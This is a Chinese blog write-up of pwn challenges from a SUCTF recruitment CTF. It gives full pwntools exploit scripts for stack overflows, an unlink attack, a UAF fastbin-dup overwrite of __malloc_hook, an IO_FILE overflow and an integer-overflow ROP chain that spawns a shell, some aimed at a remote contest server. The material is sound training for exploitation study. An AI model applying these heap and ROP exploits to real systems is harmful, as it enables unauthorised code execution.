本文最后更新于:星期三, 一月 2日 2019, 4:09 下午

前段时间做了下SUCTF的招新赛的pwn题,题目还是很友好的,适合新手。但是一直没有写writeup,现在有时间就把writeup写了。

basic-pwn

简单的栈溢出

直接上exp:

from pwn import*
p = process('pwn')
payload = 'a'*280 + p64(0x4005c7)
p.sendline(payload)
p.interactive()

stack

也是简单栈溢出,和basic-pwn差不多

exp:

from pwn import*
p=process("./pwn")
payload='a'*0x28+p64(0x400676)
p.recvuntil("============================\n")
p.sendline(payload)
p.interactive()

babyarray

数组下标溢出,将特定变量覆盖为0就可以了。

输入 的下标为-14,值为0 。

一道简单的unlink题。改写__free_hook为system函数,再free掉一个包含“/bin/sh”字符串的chunk,就可以getshell

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./unlink')
    elf = ELF('./unlink')
    libc = elf.libc
else:
    p = remote("43.254.3.203",10005)
    elf = ELF('./unlink')
    libc = ELF('./libc-2.23.so')

context.arch = elf.arch
context.log_level='debug'

def touch(size):
    p.sendlineafter("please chooice :\n","1")
    p.sendlineafter("size : \n",str(size))

def delete(idx):
    p.sendlineafter("please chooice :\n","2")
    p.sendlineafter(" delete\n",str(idx))

def show(idx):
    p.sendlineafter("please chooice :\n","3")
    p.sendlineafter("show\n",str(idx))


def take(idx,content):
    p.sendlineafter("please chooice :\n","4")
    p.sendlineafter("modify :\n",str(idx))
    p.sendlineafter("content\n",content)


ptr  = 0x06020C0

fake_chunk = p64(0) + p64(0x90) + p64(ptr - 0x18) + p64(ptr - 0x10) 
fake_chunk = fake_chunk.ljust(0x90,'a')
fake_chunk += p64(0x90) + p64(0x90)

touch(0x90)
touch(0x80)                                                                            
touch(0x20)
delete(0)
touch(0x90)
show(0)
p.recvuntil("the content is : \n")
leak = u64(p.recv(6).ljust(8,'\x00'))
log.info(hex(leak))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58        
libc.address = libc_base
log.info(hex(libc_base))
take(0,fake_chunk)
delete(1)

payload = 'a'*0x18 + p64(libc.symbols['__free_hook'])
take(2,"/bin/sh")
take(0,payload)
take(0,p64(libc.symbols['system'])*2)
delete(2)

p.interactive()

ez_heap

网鼎杯半决赛的原题,就改了下字符串。漏洞点是一个UAF。

利用方法,先利用unsorted bin将libc地址泄露出来,然后利用UAF漏洞来进行fastbins_dup 分配到包含__malloc_hook的chunk,改写 _malloc_hook为one_gadget,最后通过doublefreee触发 _malloc_printerr 来getshell。

详情可以看我之前网鼎杯的writeup地址

exp

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./ez_heap')
    elf = ELF('./ez_heap')
    libc = elf.libc
else:
    host = '43.254.3.203'
    port = '10006'
    p = remote(host,port)
    elf = ELF('./ez_heap')
    libc = ELF('./libc-2.23.so')

context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def create(size,name,t):
    ru('Your choice : ')
    sl('1')
    ru('Length of the name :')
    sl(str(size))
    ru('The name of animal :')
    sd(name)
    ru('The kind of the animal :')
    sl(t)

def view():
    ru('Your choice : ')
    sl('2')

def delete(idx):
    ru('Your choice : ')
    sl('3')
    rc()
    sl(str(idx))

def clean():
    ru('Your choice : ')
    sl('4')


create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')

delete(0)
clean()
create(0x98,'a'*8,'1234')
view()

ru('a'*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
main_arena = leak - 0x58
log.info(hex(main_arena))
pause()
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 
log.info("libc_base is {}".format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
one_gadget = 0xf02a4 + libc_base

delete(1)
delete(2)
delete(1)

create(0x68,p64(malloc_hook - 0x23),'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')

create(0x68,'a'*0x13 + p64(one_gadget),'1234')

delete(0)
delete(0)
p.interactive()

easy_overflow_file_structure

IO_FILE利用的简化版

漏洞点: 解析请求头字段的循环退出不当,导致可以写入多次,导致溢出,可以覆盖掉文件流指针

__int64 __fastcall lookForHeader(const char *strings, __int64 input, signed int size, _BYTE *target, unsigned int count)
{
  _BYTE *v5; // rax
  _BYTE *v6; // rdx
  __int64 result; // rax
  _BYTE *v8; // [rsp+0h] [rbp-40h]
  unsigned int v9; // [rsp+8h] [rbp-38h]
  signed int v10; // [rsp+Ch] [rbp-34h]
  unsigned int n; // [rsp+2Ch] [rbp-14h]
  size_t n_4; // [rsp+30h] [rbp-10h]
  unsigned int j; // [rsp+38h] [rbp-8h]
  signed int i; // [rsp+3Ch] [rbp-4h]

  v10 = size;
  v8 = target;
  v9 = count;
  n = strlen(strings);
  for ( i = 0; ; ++i )
  {
    result = v10 - n;
    if ( (signed int)result <= i )
      break;
    if ( !strncmp((const char *)(input + i), strings, n) && *(_BYTE *)(i + n + input) == 58 )
    {
      for ( i += n + 1; i < v10 && (*(_BYTE *)(i + input) == 32 || *(_BYTE *)(i + input) == 9); ++i )
        ;
      for ( j = i; j < v10; ++j )
      {
        if ( *(_BYTE *)(j + input) == 35 )
        {
          if ( j - i + 1 <= v9 )
          {
            n_4 = i + input;
            while ( n_4 < (unsigned __int64)j + input )
            {
              v5 = v8++;
              v6 = (_BYTE *)n_4++;
              *v5 = *v6;
            }
            *v8 = 0;
          }
          break;
        }
      }
    }
  }
  return result;
}

exp:

from pwn import*
context.log_level = "debug"

#p = process('./eofs')
p = remote('43.254.3.203',"10002")

payload = "GET / HTTP/1.1#"
payload +=" Host:"+"a"*126 + "#"
payload += " ResearchField:"+ 'a'*126 +"#"
payload +=" ResearchField:"+ 'a'*2 + p64(0x6021a0) +"#"
payload += " Username: " + p64(0xdeadbeef)*4 + "#"

p.sendline(payload.ljust(8000,'b'))
p.recv()

p.interactive()

int

程序的逻辑很简单,存在一个整数溢出。通过整数溢出可以造成栈溢出,就可以进行rop了。

这里我一开始比较困惑的是那个alloca函数,它通过ida反编译后参数很奇怪,我还以为进行了什么操作。直到我自己写了个测试alloca函数的程序,发现原来这个函数不在glibc库中,它由一些汇编语句构成,最终结果是将栈的空间增大,并返回一个内存指针。

测试程序:

#include<stdio.h>
#include<stdlib.h>

int main()
{
    int *a;
    a = alloca(16);
    return 0;

}

拖进ida中看下

.text:000000000040054E ; 4:   v3 = alloca(32LL);
.text:000000000040054E                 mov     rax, fs:28h
.text:0000000000400557                 mov     [rbp+var_8], rax
.text:000000000040055B                 xor     eax, eax
.text:000000000040055D                 mov     eax, 10h
.text:0000000000400562                 sub     rax, 1
.text:0000000000400566                 add     rax, 1Fh
.text:000000000040056A                 mov     esi, 10h
.text:000000000040056F                 mov     edx, 0
.text:0000000000400574                 div     rsi
.text:0000000000400577                 imul    rax, 10h
.text:000000000040057B                 sub     rsp, rax
.text:000000000040057E                 mov     rax, rsp
.text:0000000000400581                 add     rax, 0Fh
.text:0000000000400585                 shr     rax, 4
.text:0000000000400589                 shl     rax, 4
.text:000000000040058D                 mov     [rbp+var_10], rax
.text:0000000000400591                 mov     eax, 0

对比题目的代码

.text:000000000040076D ; 13:   v3 = alloca(32LL);
.text:000000000040076D                 mov     eax, 10h
.text:0000000000400772                 sub     rax, 1
.text:0000000000400776                 add     rax, 1Bh
.text:000000000040077A                 mov     ecx, 10h
.text:000000000040077F                 mov     edx, 0
.text:0000000000400784                 div     rcx
.text:0000000000400787                 imul    rax, 10h
.text:000000000040078B                 sub     rsp, rax
.text:000000000040078E                 mov     rax, rsp
.text:0000000000400791                 add     rax, 0Fh
.text:0000000000400795                 shr     rax, 4
.text:0000000000400799 ; 14:   buf = (16 * ((&v6 + 3) >> 4));
.text:0000000000400799                 shl     rax, 4
.text:000000000040079D                 mov     [rbp+buf], rax

可以发现其实 v3 = alloca(32LL); 和buf = (16 * ((&v6 + 3) >> 4));这两条反编译后的语句相当于 buf = alloca(32);

程序的漏洞点

1542680568249

它后面read函数读入数据的大小和alloca函数分配的大小是由我们输入控制的,所以可以控制它为一个很大的值,造成整数溢出,那么可以分配一个小空间,但是可以读取很多数据。那么就会造成栈溢出。

栈的大小要通过调试来得到,dest的地址为0x7ffd035211b0

1542680869571

dest与rbp的距离

1542680974136

所以dest + 12 距离返回地址的偏移为 0x80-12 + 8 = 124

栈的大小知道了,剩下的就是怎么进行rop利用。先泄露出libc地址,然后调用system函数来getshell。

exp:

#!/usr/bin/env python
from pwn import *

p = process('./int')
elf = ELF('./int')
libc = elf.libc


context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
#gdb.attach(p,"b *0x0400824")
pop_rdi = 0x00000000004008f3
payload = p32(0x6e696b53) + p32(0x1) + p32(0xffffffff)  
p.send(payload)

payload = 'a'*124
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4005E0)# start
p.send(payload)


leak = u64(p.recv(6).ljust(8, "\x00"))
libc.address = leak - libc.symbols['puts']
info("libc.address: {}".format(hex(libc.address)))

payload = p32(0x6E696B53) + p32(1) + p32(0xffffffff)
sd(payload)

payload = 'a'*124
payload += p64(pop_rdi)
payload += p64(libc.search("/bin/sh\x00").next())
payload += p64(libc.symbols['system'])
payload += p64(0xdeadbeef)
sd(payload)

p.interactive()

CTF's writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!